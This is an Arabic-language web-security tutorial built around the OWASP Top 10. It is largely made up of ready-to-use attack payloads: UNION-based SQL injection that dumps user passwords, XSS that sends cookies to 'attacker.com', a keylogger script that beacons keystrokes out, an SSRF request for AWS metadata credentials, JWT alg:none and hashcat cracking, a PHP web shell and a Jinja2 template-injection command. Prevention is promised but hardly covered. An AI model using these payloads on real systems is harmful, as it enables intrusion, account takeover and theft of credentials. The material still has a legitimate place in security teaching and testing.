الثغرات الجوهرية في تطبيقات الويب

OWASP Top 10 — خريطة ثغرات الويب

أكثر من 90% من اختراقات الويب تنتمي إلى هذه العائلات. سنشرح كل واحدة: كيف تُستغل، كيف تُكتشف، كيف تُمنع.

1. SQL Injection — حقن قواعد البيانات

الكود الضعيف

$id = $_GET['id'];
$q  = "SELECT * FROM users WHERE id = $id";
// المستخدم يرسل: ?id=1 OR 1=1 --
// النتيجة: كل المستخدمين

الاستغلال خطوة بخطوة

?id=1 ORDER BY 1--+
?id=1 ORDER BY 5--+   ← خطأ يعني الجدول فيه 4 أعمدة

?id=-1 UNION SELECT 1,user(),version(),database()--+
?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables--+
?id=-1 UNION SELECT 1,group_concat(username,':',password),3,4 FROM users--+

2. Cross-Site Scripting (XSS)

أنواعها

• Reflected XSS — تنعكس من رابط مباشرة.
• Stored XSS — تُحفظ في قاعدة البيانات (الأخطر).
• DOM-based XSS — في الـ JavaScript أمام المتصفح.

<script>fetch('https://attacker.com/c?d='+document.cookie)</script>
"><img src=x onerror=alert(1)>
javascript:alert(document.domain)
<svg/onload=eval(atob('YWxlcnQoMSk='))>

سرقة الجلسة كاملة

(function(){
  let buf="";
  document.addEventListener('keydown', e => {
    buf += e.key;
    if(buf.length>40){
      navigator.sendBeacon('https://attacker.com/k', buf);
      buf="";
    }
  });
})();

3. SSRF — Server-Side Request Forgery

سيناريو خطير على AWS

# الموقع يقبل URL لتحميل صورة
POST /api/import-image  body: {"url":"http://example.com/x.png"}

# المهاجم يبدّلها بـ:
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/web-role"}

# النتيجة: مفاتيح AWS مؤقتة كاملة!

4. كسر الـ Authentication و JWT

هجمات شائعة

• Credential stuffing — تجربة كلمات سُرّبت سابقاً.
• Password spraying — كلمة شائعة على ألف حساب.
• كسر JWT — تبديل الـ algorithm إلى none، أو كسر السر بـ hashcat.

# 1) alg:none bypass
{"alg":"none","typ":"JWT"}.{"user":"admin"}.

# 2) brute force HS256 secret
hashcat -m 16500 jwt.txt rockyou.txt

# 3) algorithm confusion RS256 → HS256

5. IDOR — Insecure Direct Object Reference

تغيّر رقم في الـ URL فترى بيانات شخص آخر.

GET /api/invoices/1042  ← فاتورتك
GET /api/invoices/1043  ← فاتورة شخص آخر! (لا يوجد فحص ملكية)

6. File Upload + RCE

رفع ملف .php أو .jsp متخفّياً (shell.php.jpg) إلى مجلد قابل للتنفيذ = اختراق كامل للسيرفر.

<?php system($_GET['c']); ?>

7. Deserialization & Template Injection

أخطر فئة: تنفيذ كود مباشر عند تمرير payload مصنوع إلى دالة unserialize / pickle.loads / Java readObject، أو إلى محرك قوالب يقبل تعابير (Jinja2, Twig, Freemarker).

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

الأدوات الأساسية للويب

• Burp Suite — الـ proxy الذي تعتمد عليه يومياً.
• OWASP ZAP — بديل مفتوح المصدر.
• Caido — خفيف و حديث.
• sqlmap, wpscan, ffuf, gobuster, dalfox, kxss, gau, waybackurls.